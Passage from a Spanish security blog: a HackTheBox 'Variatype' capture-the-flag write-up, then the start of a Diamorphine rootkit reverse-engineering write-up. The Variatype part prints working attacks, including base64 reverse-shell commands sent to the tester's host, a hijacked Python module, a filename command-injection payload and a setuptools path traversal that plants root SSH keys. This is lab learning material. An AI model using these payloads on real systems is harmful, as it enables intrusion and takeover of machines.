/files/shell.php?cmd=echo+L2Jpbi9iYXNoIC1jIC9iaW4vYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNS4yMTAvNDQ0NCAwPiYxCg%3d%3d+|+base64+-d+|+bash HTTP/1.1 Host: portal.variatype.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 ...[SNIP]... Y en el handler en escucha:\n1 2 www-data@variatype:~/portal.variatype.htb/public/files$ whoami www-data Privesc: www-data -\u0026gt; steve # Listamos qué usuarios interactivos hay:\n1 2 3 4 www-data@variatype:~/portal.variatype.htb/public/files$ cat /etc/passwd | grep -v nologin | grep -v false root:x:0:0:root:/root:/bin/bash sync:x:4:65534:sync:/bin:/bin/sync steve:x:1000:1000:steve,,,:/home/steve:/bin/bash Así que parece que nuestro siguiente objetivo va a ser steve.\nSi buscamos archivos que pertenezcan a steve:\n1 2 3 4 5 6 7 8 9 www-data@variatype:/$ find / -user steve 2\u0026gt;/dev/null /home/steve /opt/process_client_submissions.bak www-data@variatype:/$ ls -al /opt drwxr-xr-x 3 root root 4096 Mar 9 08:29 font-tools -rwxr-xr-- 1 steve steve 2018 Feb 26 07:50 process_client_submissions.bak drwxr-xr-x 4 variatype variatype 4096 Mar 9 08:29 variatype En /opt parece destacar process_client_submissions.bak:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 #!/bin/bash # # Variatype Font Processing Pipeline # Author: Steve Rodriguez \u0026lt;steve@variatype.htb\u0026gt; # Only accepts filenames with letters, digits, dots, hyphens, and underscores. # set -euo pipefail UPLOAD_DIR=\u0026#34;/var/www/portal.variatype.htb/public/files\u0026#34; PROCESSED_DIR=\u0026#34;/home/steve/processed_fonts\u0026#34; QUARANTINE_DIR=\u0026#34;/home/steve/quarantine\u0026#34; LOG_FILE=\u0026#34;/home/steve/logs/font_pipeline.log\u0026#34; mkdir -p \u0026#34;$PROCESSED_DIR\u0026#34; \u0026#34;$QUARANTINE_DIR\u0026#34; \u0026#34;$(dirname \u0026#34;$LOG_FILE\u0026#34;)\u0026#34; log() { echo \u0026#34;[$(date --iso-8601=seconds)] $*\u0026#34; \u0026gt;\u0026gt; \u0026#34;$LOG_FILE\u0026#34; } cd \u0026#34;$UPLOAD_DIR\u0026#34; || { log \u0026#34;ERROR: Failed to enter upload directory\u0026#34;; exit 1; } shopt -s nullglob EXTENSIONS=( \u0026#34;*.ttf\u0026#34; \u0026#34;*.otf\u0026#34; \u0026#34;*.woff\u0026#34; \u0026#34;*.woff2\u0026#34; \u0026#34;*.zip\u0026#34; \u0026#34;*.tar\u0026#34; \u0026#34;*.tar.gz\u0026#34; \u0026#34;*.sfd\u0026#34; ) SAFE_NAME_REGEX=\u0026#39;^[a-zA-Z0-9._-]+$\u0026#39; found_any=0 for ext in \u0026#34;${EXTENSIONS[@]}\u0026#34;; do for file in $ext; do found_any=1 [[ -f \u0026#34;$file\u0026#34; ]] || continue [[ -s \u0026#34;$file\u0026#34; ]] || { log \u0026#34;SKIP (empty): $file\u0026#34;; continue; } # Enforce strict naming policy if [[ ! \u0026#34;$file\u0026#34; =~ $SAFE_NAME_REGEX ]]; then log \u0026#34;QUARANTINE: Filename contains invalid characters: $file\u0026#34; mv \u0026#34;$file\u0026#34; \u0026#34;$QUARANTINE_DIR/\u0026#34; 2\u0026gt;/dev/null || true continue fi log \u0026#34;Processing submission: $file\u0026#34; if timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c \u0026#34; import fontforge import sys try: font = fontforge.open(\u0026#39;$file\u0026#39;) family = getattr(font, \u0026#39;familyname\u0026#39;, \u0026#39;Unknown\u0026#39;) style = getattr(font, \u0026#39;fontname\u0026#39;, \u0026#39;Default\u0026#39;) print(f\u0026#39;INFO: Loaded {family} ({style})\u0026#39;, file=sys.stderr) font.close() except Exception as e: print(f\u0026#39;ERROR: Failed to process $file: {e}\u0026#39;, file=sys.stderr) sys.exit(1) \u0026#34;; then log \u0026#34;SUCCESS: Validated $file\u0026#34; else log \u0026#34;WARNING: FontForge reported issues with $file\u0026#34; fi mv \u0026#34;$file\u0026#34; \u0026#34;$PROCESSED_DIR/\u0026#34; 2\u0026gt;/dev/null || log \u0026#34;WARNING: Could not move $file\u0026#34; done done if [[ $found_any -eq 0 ]]; then log \u0026#34;No eligible submissions found.\u0026#34; fi Si nos fijamos, vemos que hace lo siguiente:\nVa a $UPLOAD_DIR (Directorio en el que tenemos permisos de escritura) Busca archivos no vacíos con extensiones .ttf, .otf, etc. Pasa el nombre de cada archivo por un filtro, mandando los que tengan determinados caracteres a cuarentena. Si pasa el filtro, se ejecuta un código python. Lo relevante aquí es que, una vez se ha pasado el filtro y se va a ejecutar el código Python, el código importa un módulo en un directorio que controlamos (y en el que podemos escribir), lo que hace esto potencialmente vulnerable a Python Library Hijacking.\nPosible Python Library Hijacking # En el código python se hace lo siguiente al iniciar:\n1 2 import fontforge import sys Dado que Python busca los módulos primero en el directorio de ejecución, si nosotros, en $UPLOAD_DIR, añadimos un fontforge.py malicioso, haremos que se ejecute en lugar del original.\nCreamos el módulo malicioso:\n1 2 3 4 www-data@variatype:~/portal.variatype.htb/public/files$ cat fontforge.py import os os.system(\u0026#34;cp /bin/bash /tmp/stevesh \u0026amp;\u0026amp; chmod 4755 /tmp/stevesh\u0026#34;) os.system(\u0026#39;bash -c \u0026#34;bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.14.56/4445 0\u0026gt;\u0026amp;1\u0026#34;\u0026#39;) Ahora creamos un .ttf cualquiera que no esté vacío en el directorio.\n1 www-data@variatype:~/portal.variatype.htb/public/files$ echo \u0026#34;test test\u0026#34; \u0026gt; font.ttf Pero si esperamos un rato, no pasa nada. Podemos usar pspy para ver si se ejecuta el script de forma automática cada rato, porque si no lo hace posiblemente tengamos que buscar una forma de hacer que se ejecute manualmente:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 www-data@variatype:/tmp$ ./pspy64s pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d ██▓███ ██████ ██▓███ ▓██ ██▓ ▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒ ▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░ ▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░ ▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░ ▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒ ░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░ ░░ ░ ░ ░ ░░ ▒ ▒ ░░ ░ ░ ░ ░ ░ Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive) Draining file system events due to startup... done 2026/03/20 22:54:40 CMD: UID=33 PID=34822 | ./pspy64s ... 2026/03/20 22:56:01 CMD: UID=0 PID=34832 | /usr/sbin/CRON -f 2026/03/20 22:56:01 CMD: UID=1000 PID=34833 | /bin/bash /home/steve/bin/process_client_submissions.sh 2026/03/20 22:56:01 CMD: UID=1000 PID=34834 | /bin/bash /home/steve/bin/process_client_submissions.sh 2026/03/20 22:56:01 CMD: UID=1000 PID=34835 | /bin/bash /home/steve/bin/process_client_submissions.sh 2026/03/20 22:56:01 CMD: UID=1000 PID=34836 | /bin/bash /home/steve/bin/process_client_submissions.sh 2026/03/20 22:56:01 CMD: UID=1000 PID=34837 | timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c import fontforge import sys try: font = fontforge.open(\u0026#39;cosa.ttf\u0026#39;) family = getattr(font, \u0026#39;familyname\u0026#39;, \u0026#39;Unknown\u0026#39;) style = getattr(font, \u0026#39;fontname\u0026#39;, \u0026#39;Default\u0026#39;) print(f\u0026#39;INFO: Loaded {family} ({style})\u0026#39;, file=sys.stderr) font.close() except Exception as e: print(f\u0026#39;ERROR: Failed to process cosa.ttf: {e}\u0026#39;, file=sys.stderr) sys.exit(1) Y vemos que efectivamente se ejecuta de forma automatizada cada cierto tiempo, así que, si no nos funciona, es porque no es la vulnerabilidad que buscamos.\nBuscando alternativas # Si podemos ver el script, y además se ejecuta periódicamente, casi seguro tiene que ser nuestra forma de escalar privilegios. Dado que ya hemos visto que fontools tenía una vulnerabilidad, podemos probar a ver si fontforge tiene otra. Tras una búsqueda:\nFontForge has several vulnerabilities, including a critical remote code execution vulnerability related to SFD file parsing, which allows attackers to execute arbitrary code if a user interacts with a malicious file.\nSi buscamos archivos de fontforge para ver la versión:\n1 2 3 4 5 6 www-data@variatype:/opt$ find / -iname \u0026#34;*fontforge*\u0026#34; 2\u0026gt;/dev/null /var/www/portal.variatype.htb/public/files/fontforge.py #Nuestro intento de library hijacking /usr/local/src/fontforge /usr/local/src/fontforge/build/lib/libfontforge.so /usr/local/src/fontforge/build/lib/fontforge.so ... Ahí encontramos algún archivo relevante:\n1 2 3 4 5 6 www-data@variatype:/opt$ cat /usr/local/src/fontforge/build/inc/fontforge-version-extras.h ...[SNIP]... /* git hash that FontForge was built from */ #define FONTFORGE_GIT_VERSION \u0026#34;a1dad3e81da03d5d5f3c4c1c1b9b5ca5ebcfcecf\u0026#34; ...[SNIP]... Buscamos a qué versión corresponde:\n1 2 3 4 5 6 $ git clone https://github.com/fontforge/fontforge.git Cloning into \u0026#39;fontforge\u0026#39;... $ cd fontforge $ git fetch --tags $ git describe --tags a1dad3e81da03d5d5f3c4c1c1b9b5ca5ebcfcecf 20230101 Y vemos que se trata de la versión 20230101, que, tras una búsqueda, vemos que tiene una vulnerabilidad de inyección de comandos: CVE-2024-25081/25082.\nSplinefont in FontForge through 20230101 allows command injection via crafted archives or compressed files.\nDe todas formas, primero deberíamos saber qué es FontForge, así que lo buscamos y tras una búsqueda encontramos esto:\nFontForge is a free, open-source font editor used to create, edit, and convert outline and bitmap fonts (TrueType, OpenType, WOFF, etc.) on Windows, Mac, and Linux. It acts as a versatile tool for both custom typeface design and modifying existing fonts. It can run scripts from its GUI and from the command line, and also offers its features as a Python module.\nAprovechando el CVE, deberíamos poder fácilmente crear un nombre de archivo malicioso e inyectar comandos, pero tenemos el problema de la siguiente línea:\n1 SAFE_NAME_REGEX=\u0026#39;^[a-zA-Z0-9._-]+$\u0026#39; Si intentamos pasar cualquier cosa fuera de lo común, el archivo no va a llegar a FontForge, aunque lo que sí podemos hacer es aprovechar la parte de la vulnerabilidad que dice:\n\u0026hellip;allows command injection via crafted archives or compressed files.\nComo veíamos en el script, también se admiten .zip, por lo que la idea será pasar un archivo .zip con un nombre que pase los filtros, para que luego FontForge lo descomprima, y dentro haya un archivo que sí explote la vulnerabilidad.\nCreamos el payload: 1 2 www-data@variatype:~/portal.variatype.htb/public/files$ echo -n \u0026#39;bash -c \u0026#34;bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.14.56/4445 0\u0026gt;\u0026amp;1\u0026#34;\u0026#39; | base64 -w0 YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41Ni80NDQ1IDA+JjEi Creamos el archivo malicioso: 1 www-data@variatype:~/portal.variatype.htb/public/files$ touch \u0026#39;$(echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41Ni80NDQ1IDA+JjEi|base64 -d|bash).ttf\u0026#39; Intentamos crear el .zip 1 2 www-data@variatype:~/portal.variatype.htb/public/files$ zip payload.zip *.ttf bash: zip: command not found Dado que no hay zip en la máquina, lo hacemos en la nuestra y lo descargamos:\nDescargamos el .zip 1 2 3 4 www-data@variatype:~/portal.variatype.htb/public/files$ wget http://10.10.14.56:8000/payload.zip --2026-03-21 08:33:39-- http://10.10.14.56:8000/payload.zip ...[SNIP]... 2026-03-21 08:33:39 (34.3 MB/s) - ‘payload.zip’ saved [340/340] Y finalmente ponemos nuestro puerto en escucha:\n1 2 3 4 5 6 7 8 9 10 11 12 13 $ penelope -i 10.10.14.56 -p 4445 [+] Listening for reverse shells on 10.10.14.56:4445 \u0026gt; Main Menu (m) Payloads (p) Clear (Ctrl-L) Quit (q/Ctrl-C) [+] Got reverse shell from variatype~10.129.11.241-Linux-x86_64 Assigned SessionID \u0026lt;1\u0026gt; [+] Attempting to upgrade shell to PTY... [+] Shell upgraded successfully using /usr/bin/python3! [+] Interacting with session [1], Shell Type: PTY, Menu key: F12 ──────────────────────────────────────────────────────────────────────────────── [-] Session [1] died... We lost variatype~10.129.11.241-Linux-x86_64 [+] Got reverse shell from variatype~10.129.11.241-Linux-x86_64 Assigned SessionID \u0026lt;2\u0026gt; [+] Got reverse shell from variatype~10.129.11.241-Linux-x86_64 Assigned SessionID \u0026lt;3\u0026gt; ...[SNIP]... Vemos que la reverse shell 1 no ha durado mucho, pero cada vez que se ejecuta el script al parecer llega un nuevo shell. De todas formas podemos coger la siguiente (sessionID 2). Y tan pronto como la cogemos, para intentar conseguir un método de shell estable hacemos lo siguiente:\n1 steve@variatype:~$ cp /bin/bash /tmp/stevebash \u0026amp;\u0026amp; chmod 4777 /tmp/stevebash Así, si se cierra, podemos ir desde nuestro shell anterior como www-data y hacernos steve directamente:\n1 2 www-data@variatype:/tmp$ ./stevebash -p stevebash-5.2$ En cualquier caso, somos steve.\nPrivesc: steve -\u0026gt; root # Ejecutamos sudo -l y vemos esto:\n1 2 3 4 5 6 steve@variatype:/opt/font-tools/validators$ sudo -l Matching Defaults entries for steve on variatype: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin, use_pty User steve may run the following commands on variatype: (root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py * Si vemos qué hay en este script:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34; Font Validator Plugin Installer -------------------------------- Allows typography operators to install validation plugins developed by external designers. These plugins must be simple Python modules containing a validate_font() function. Example usage: sudo /opt/font-tools/install_validator.py https://designer.example.com/plugins/woff2-check.py \u0026#34;\u0026#34;\u0026#34; import os import sys import re import logging from urllib.parse import urlparse from setuptools.package_index import PackageIndex # Configuration PLUGIN_DIR = \u0026#34;/opt/font-tools/validators\u0026#34; LOG_FILE = \u0026#34;/var/log/font-validator-install.log\u0026#34; # Set up logging os.makedirs(os.path.dirname(LOG_FILE), exist_ok=True) logging.basicConfig( level=logging.INFO, format=\u0026#39;%(asctime)s [%(levelname)s] %(message)s\u0026#39;, handlers=[ logging.FileHandler(LOG_FILE), logging.StreamHandler(sys.stdout) ] ) def is_valid_url(url): try: result = urlparse(url) return all([result.scheme in (\u0026#39;http\u0026#39;, \u0026#39;https\u0026#39;), result.netloc]) except Exception: return False def install_validator_plugin(plugin_url): if not os.path.exists(PLUGIN_DIR): os.makedirs(PLUGIN_DIR, mode=0o755) logging.info(f\u0026#34;Attempting to install plugin from: {plugin_url}\u0026#34;) index = PackageIndex() try: downloaded_path = index.download(plugin_url, PLUGIN_DIR) logging.info(f\u0026#34;Plugin installed at: {downloaded_path}\u0026#34;) print(\u0026#34;[+] Plugin installed successfully.\u0026#34;) except Exception as e: logging.error(f\u0026#34;Failed to install plugin: {e}\u0026#34;) print(f\u0026#34;[-] Error: {e}\u0026#34;) sys.exit(1) def main(): if len(sys.argv) != 2: print(\u0026#34;Usage: sudo /opt/font-tools/install_validator.py \u0026lt;PLUGIN_URL\u0026gt;\u0026#34;) print(\u0026#34;Example: sudo /opt/font-tools/install_validator.py https://internal.example.com/plugins/glyph-check.py\u0026#34;) sys.exit(1) plugin_url = sys.argv[1] if not is_valid_url(plugin_url): print(\u0026#34;[-] Invalid URL. Must start with http:// or https://\u0026#34;) sys.exit(1) if plugin_url.count(\u0026#39;/\u0026#39;) \u0026gt; 10: print(\u0026#34;[-] Suspiciously long URL. Aborting.\u0026#34;) sys.exit(1) install_validator_plugin(plugin_url) if __name__ == \u0026#34;__main__\u0026#34;: if os.geteuid() != 0: print(\u0026#34;[-] This script must be run as root (use sudo).\u0026#34;) sys.exit(1) main() Vemos que el script hace lo siguiente en main():\nComprueba que se pase un parámetro \u0026lt;PLUGIN_URL\u0026gt; Comprueba que la URL empiece por http:// o https:// Comprueba que la URL no tenga más de 10 / Instala el plugin En el proceso de instalación del plugin (install_validator_plugin(plugin_url)), el programa hace esto:\nComprueba que exista el directorio PLUGIN_DIR, si no, lo crea. Descarga el archivo en un directorio determinado por los parámetros de la función (en este caso index.download(plugin_url, PLUGIN_DIR)), si miramos el código fuente de la función, vemos que tiene una forma similar a esto: 1 2 3 4 5 6 7 8 def download(self, spec, tmpdir): # Locate/download spec to tmpdir, return local path name, _ = egg_info_for_url(url) if name: while \u0026#39;..\u0026#39; in name: name = name.replace(\u0026#39;..\u0026#39;, \u0026#39;.\u0026#39;).replace(\u0026#39;\\\\\u0026#39;, \u0026#39;_\u0026#39;) filename = os.path.join(tmpdir, name) # Download logic here Aquí vemos que filename, el archivo en que se va a guardar, se determina usando os.path.join(tmpdir, name), que en nuestro caso corresponde a os.path.join(PLUGIN_DIR, \u0026lt;URL_Saneada\u0026gt;). Esta \u0026lt;URL_Saneada\u0026gt; corresponde a plugin_url con unas comprobaciones:\nSe toma la url, p.ej https://ejemplo.com/plugin16.zip, y se guarda plugin16 en la variable name Se reemplazan .. con . y \\ con _. Esto bloquea intentos de escapar del directorio, pero no cuenta con / al principio, que definen rutas absolutas. Si buscamos precisamente esto de las \u0026ldquo;rutas absolutas\u0026rdquo; en el filename, daremos con un CVE (CVE-2025-47273) de Setuptools que habla justamente de esto. Esto se aprovecha de la funcionalidad de la función os.path.join(), que funciona de la siguiente manera (ejemplo):\nos.path.join('/tmp/easy', '/etc/passwd') da como resultado '/etc/passwd' CVE-2025-47273 # Si pasamos una ruta absoluta a través de \u0026lt;URL_Saneada\u0026gt;, podremos guardar el archivo donde queramos. Podemos, por ejemplo, crear un par de claves SSH y copiar la pública a /root/.ssh/authorized_keys.\n1 2 3 4 5 6 7 $ ssh-keygen -t rsa Generating public/private rsa key pair. Enter file in which to save the key (/home/kali/.ssh/id_rsa): /home/kali/Downloads/serve/vtype_rsa Enter passphrase for \u0026#34;/home/kali/Downloads/serve/vtype_rsa\u0026#34; (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /home/kali/Downloads/serve/vtype_rsa Your public key has been saved in /home/kali/Downloads/serve/vtype_rsa.pub Como la solicitud va a ser exactamente de /root/.ssh/authorized_keys, necesitamos crear la estructura de carpetas. Por suerte, basta con que estemos ubicados (en nuestra máquina) en /.../\u0026lt;Directorios_cualquiera\u0026gt;/.../root/.ssh/authorized_keys y sirvamos desde root/.ssh/authorized_keys. En otras palabras, no hace falta que creemos un authorized_keys en nuestro directorio absoluto /root/.ssh/authorized_keys, pues el server de Python hace algo similar a chroot.\nCreamos la ruta y nos ponemos en escucha:\n1 2 3 4 5 6 7 8 9 10 11 12 13 $ pwd /home/kali/Downloads/serve $ tree -a . ├── root │ └── .ssh │ └── authorized_keys # Contiene lo mismo que vtype_rsa.pub ├── vtype_rsa └── vtype_rsa.pub $ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... Ahora hacemos la solicitud:\n1 2 3 4 5 steve@variatype:/opt/font-tools$ sudo /usr/bin/python3 /opt/font-tools/install_validator.py http://10.10.14.56:8000/%2Froot%2F.ssh%2Fauthorized_keys 2026-03-21 10:16:16,794 [INFO] Attempting to install plugin from: http://10.10.14.56:8000/%2Froot%2F.ssh%2Fauthorized_keys 2026-03-21 10:16:16,805 [INFO] Downloading http://10.10.14.56:8000/%2Froot%2F.ssh%2Fauthorized_keys 2026-03-21 10:16:16,892 [INFO] Plugin installed at: /root/.ssh/authorized_keys [+] Plugin installed successfully. Y vemos nuestro servidor:\n1 2 3 $ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 10.129.11.241 - - [21/Mar/2026 10:16:16] \u0026#34;GET /%2Froot%2F.ssh%2Fauthorized_keys HTTP/1.1\u0026#34; 200 - Así que el archivo se ha guardado exitosamente, ahora simplemente usamos ssh:\n1 2 3 4 5 $ ssh root@variatype.htb -i vtype_rsa Linux variatype 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64 Last login: Sat Mar 21 10:17:31 2026 from 10.10.14.56 root@variatype:~# Y tenemos root.\n","date":"21 de marzo de 2026","externalUrl":null,"permalink":"/writeups/variatype/","section":"Writeups","summary":"OS: Linux | Dificultad: Medium | Conceptos: designspace, fonttools, .git, Path Traversal, CVE Público","title":"HackTheBox - Variatype","type":"writeups"},{"content":"","date":"21 de marzo de 2026","externalUrl":null,"permalink":"/tags/path-traversal/","section":"Tags","summary":"","title":"Path Traversal","type":"tags"},{"content":"","date":"14 de marzo de 2026","externalUrl":null,"permalink":"/tags/elf/","section":"Tags","summary":"","title":"ELF","type":"tags"},{"content":"CHALLENGE DESCRIPTION\nMalicious actors have infiltrated our systems and we believe they\u0026rsquo;ve implanted a custom rootkit. Can you disarm the rootkit and find the hidden data?\nArchivos iniciales:\ndiamorphine.ko Análisis inicial # Al ejecutar file sobre el archivo, vemos lo siguiente:\n1 2 $ file diamorphine.ko diamorphine.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=e6a635e5bd8219ae93d2bc26574fff42dc4e1105, with debug_info, not stripped ELF 64-bit Se trata de un objeto binario / ejecutable with debug_info, not stripped: Si ejecutamos strings o lo abrimos con ghidra, es probable que tengamos más facilidad para identificar qué hace cada función o variable. Al principio, no sé qué es un .ko. así que busco en Internet y encuentro esto:\nA .ko file (Kernel Object) is a loadable kernel module in Linux, encapsulating code and data that can be dynamically inserted into or removed from the running kernel.\nSe trata de un módulo del kernel de Linux, diseñado para cargarse dinámicamente. Tiene varias secciones:\n.text: Instrucciones en assembly .rodata: Datos de solo lectura .data: Variables inicializadas .bss: Variables sin inicializar .init.text: Código que se ejecuta una sola vez al iniciar el módulo .exit.text: Código que se ejecuta al parar el módulo .modinfo: Metadatos del autor, licencia, etc. ... Antes de intentar descompilarlo, buscamos más información sobre el nombre del archivo, vemos que diamorfina es otro nombre para la heroína y, además, es el nombre de un rootkit de Linux real. Según la página de GitHub del rootkit, hace lo siguiente:\nWhen loaded, the module starts invisible; Hide/unhide any process by sending a signal 31; Sending a signal 63(to any pid) makes the module become (in)visible; Sending a signal 64(to any pid) makes the given user become root; Files or directories starting with the MAGIC_PREFIX become invisible; Así que, por defecto, varias de las funciones que encontremos harán cosas como:\nOcultar el binario al ejecutarlo Mostrar y ocultar procesos al recibir señal 31 Mostrar y ocultar usuarios al recibir señal 63 Hacer root a un usuario al recibir señal 64 Filtrar archivos si su nombre empieza por el MAGIC_PREFIX Según veo, este rootkit no es tanto uno como los que suelen instalarse cuando un dispositivo es infectado por malware, sino uno que por ejemplo podría usar un pentester para conseguir persistencia, permitiendo conseguir privilegios y ocultarse de un blue team fácilmente. Además, el nombre diamorphine (y el del propio challenge: Cyberpsychosis) parece ser simbólico y relacionado con la droga directamente: Se inyecta en el kernel (o en vena directamente), oculta procesos y manipula syscalls (hace de analgésico) y permite conseguir root instantáneamente (tiene efecto casi inmediato).\nDescompilando # Por motivos obvios, no vamos a ejecutar el rootkit localmente, aunque técnicamente podemos desinstalarlo fácilmente e incluso en el repositorio se incluye una guía para ello. Lo descompilaremos con Ghidra, aunque, teniendo el código fuente disponible, sería una oportunidad desaprovechada no ir comparándolo con el pseudocódigo de Ghidra 1 a 1.\nSegún vayamos descompilando funciones iremos mirando si se ha modificado algo del rootkit o si todo queda igual, para ver si el flag está hardcodeado el algún sitio o hay algo relevante. Si todo queda igual, simplemente desactivaremos el rootkit del servidor y buscaremos el flag.\ndiamorphine_init() y diamorphine_cleanup() -\u0026gt; Funcionamiento del rootkit # Esta es la función principal que se ejecuta cuando se conecta el módulo al kernel del sistema. Ghidra nos da lo siguiente (de forma simplificada):\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 int diamorphine_init(void){ ulong *puVar1; int iVar2; ulong __force_order; __sys_call_table = get_syscall_table_bf(); //Se guarda la tabla de syscalls en __sys_call_table iVar2 = -1; if (__sys_call_table != (ulong *)0x0) { //Si se ha guardado bien la tabla de syscalls, se hace lo siguiente: cr0 = commit_creds(); module_hide(); kfree(__this_module.sect_attrs); puVar1 = __sys_call_table; __this_module.sect_attrs = (module_sect_attrs *)0x0; orig_getdents = (t_syscall)__sys_call_table[0x4e]; orig_getdents64 = (t_syscall)__sys_call_table[0xd9]; orig_kill = (t_syscall)__sys_call_table[0x3e]; __sys_call_table[0x4e] = (ulong)hacked_getdents; puVar1[0xd9] = (ulong)hacked_getdents64; puVar1[0x3e] = (ulong)hacked_kill; iVar2 = 0; } return iVar2; } En el kernel la sys_call_table es simplemente un array gigante de punteros a subrutinas, y cada syscall específica tiene un índice asignado. En este archivo del kernel de Linux se puede ver que:\nsys_kill (Matar un proceso) tiene el 62 (0x3e) sys_getdents (Mostrar contenidos de un directorio) tiene el 78 (0x4e) sys_getdents64 (Como el anterior, pero para 64bit) tiene el 217 (0xd9) Entonces lo que se hace es lo siguiente (con algunas funciones copiadas del código fuente original porque Ghidra las había detectado erróneamente):\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 int diamorphine_init(void){ syscall_table = get_syscall_table_bf(); if (syscall_table != 0x0) { cr0 = read_cr0(); //Se lee el registro cr0 de x86 para desactivar protecciones module_hide(); // Se oculta el módulo tidy(); //En el código original se usa tidy(), en Ghidra veíamos que se liberaba la memoria donde estaban los atributos del propio módulo del kernel, posiblemente para esconderlo todavía más // Guardar copia de las syscalls a modificar originales orig_getdents = (t_syscall)syscall_table[0x4e]; orig_getdents64 = (t_syscall)syscall_table[0xd9]; orig_kill = (t_syscall)syscall_table[0x3e]; // Modificar syscall_table original con syscall_table maliciosa syscall_table[0x4e] = (ulong)hacked_getdents; syscall_table[0xd9] = (ulong)hacked_getdents64; syscall_table[0x3e] = (ulong)hacked_kill; return 0; } else return -1; } Con diamorphine_cleanup() vemos que se hace la operación contraria:\n1 2 3 4 5 6 7 8 void diamorphine_cleanup(void){ ulong *syscall_table; // Restablecer syscalls originales. syscall_table[0x4e] = (ulong)orig_getdents; syscall_table[0xd9] = (ulong)orig_getdents64; syscall_table[0x3e] = (ulong)orig_kill; } Ambas funciones son iguales al código fuente, así que no hay nada interesante.\nfind_task() -\u0026gt; Nada relevante # Ghidra nos devuelve lo siguiente:\n1 2 3 4 5 6 7 8 9 10 11 12 13 task_struct * find_task(pid_t pid){ undefined1 *nextPTR; undefined1 *process_ptr; process_ptr = \u0026amp;init_task; do { nextPTR = *(undefined1 **)(process_ptr + 0x8b8); process_ptr = nextPTR + -0x8b8; if (nextPTR == \u0026amp;DAT_001028f0) return (task_struct *)0x0; } while (*(int *)(nextPTR + 0x108) != pid); return (task_struct *)process_ptr; } Mientras que el código en C original se entiende mucho mejor:\n1 2 3 4 5 6 7 8 struct task_struct* find_task(pid_t pid){ struct task_struct *p = current; for_each_process(p) { if (p-\u0026gt;pid == pid) return p; } return NULL; } El sistema lee todos los procesos (for_each_process(p)), y , cuando encuentra uno con el PID especificado, devuelve todo su struct entero (toda su info). Si no encuentra uno, devuelve NULL. La diferencia entre el código en C y el de Ghidra es que, como for_each_process() es un macro del sistema y Ghidra solo entiende la lógica del programa, lo que nos muestra es el macro \u0026ldquo;deshecho\u0026rdquo;. Los procesos en Linux se guardan como una linked-list circular, así que hay que llevar la cuenta de cuál es el primer elemento que se ha comprobado para no repetir la vuelta, por eso Ghidra muestra esto:\nSe guarda en process_ptr el struct del proceso init (el primero que se ejecuta al arrancar el sistema), y se hace lo siguiente mientras no se encuente el PID buscado:\nSe guarda el puntero al siguiente proceso en nextPTR (ubicado a mitad del struct, por eso se usa base+offset) Se va al siguiente elemento y se guarda el puntero a su struct en process_ptr Se compara su PID (ubicado en Dir.Base_Struct + 0x108) con el buscado. Si no es, se vuelve al inicio del ciclo. Si se encuentra, se devuelve su struct Si se llega al elemento inicial (init) de nuevo (nextPTR == \u0026amp;DAT_001028f0, dato hardcodeado que apunta a la cabeza de la linked-list), se devuelve NULL Esta función es exactamente igual, así que no hay nada que podamos encontrar interesante.\ngive_root() -\u0026gt; Nada relevante # 1 2 3 4 5 6 7 8 9 10 11 void give_root(void){ long lVar1 = prepare_creds(); if (lVar1 != 0) { *(undefined8 *)(lVar1 + 4) = 0; *(undefined8 *)(lVar1 + 0xc) = 0; *(undefined8 *)(lVar1 + 0x14) = 0; *(undefined8 *)(lVar1 + 0x1c) = 0; commit_creds(lVar1); } return; } Esta subrutina corresponde a la funcionalidad de hacer root al usuario, así que en algún otro lado habrá una comprobación en la que se mira si un usuario manda una señal 64 a algún PID, ejecutando esta función si es así.\nVemos que usa prepare_creds() para guardar un struct de credenciales (struct cred, aunque 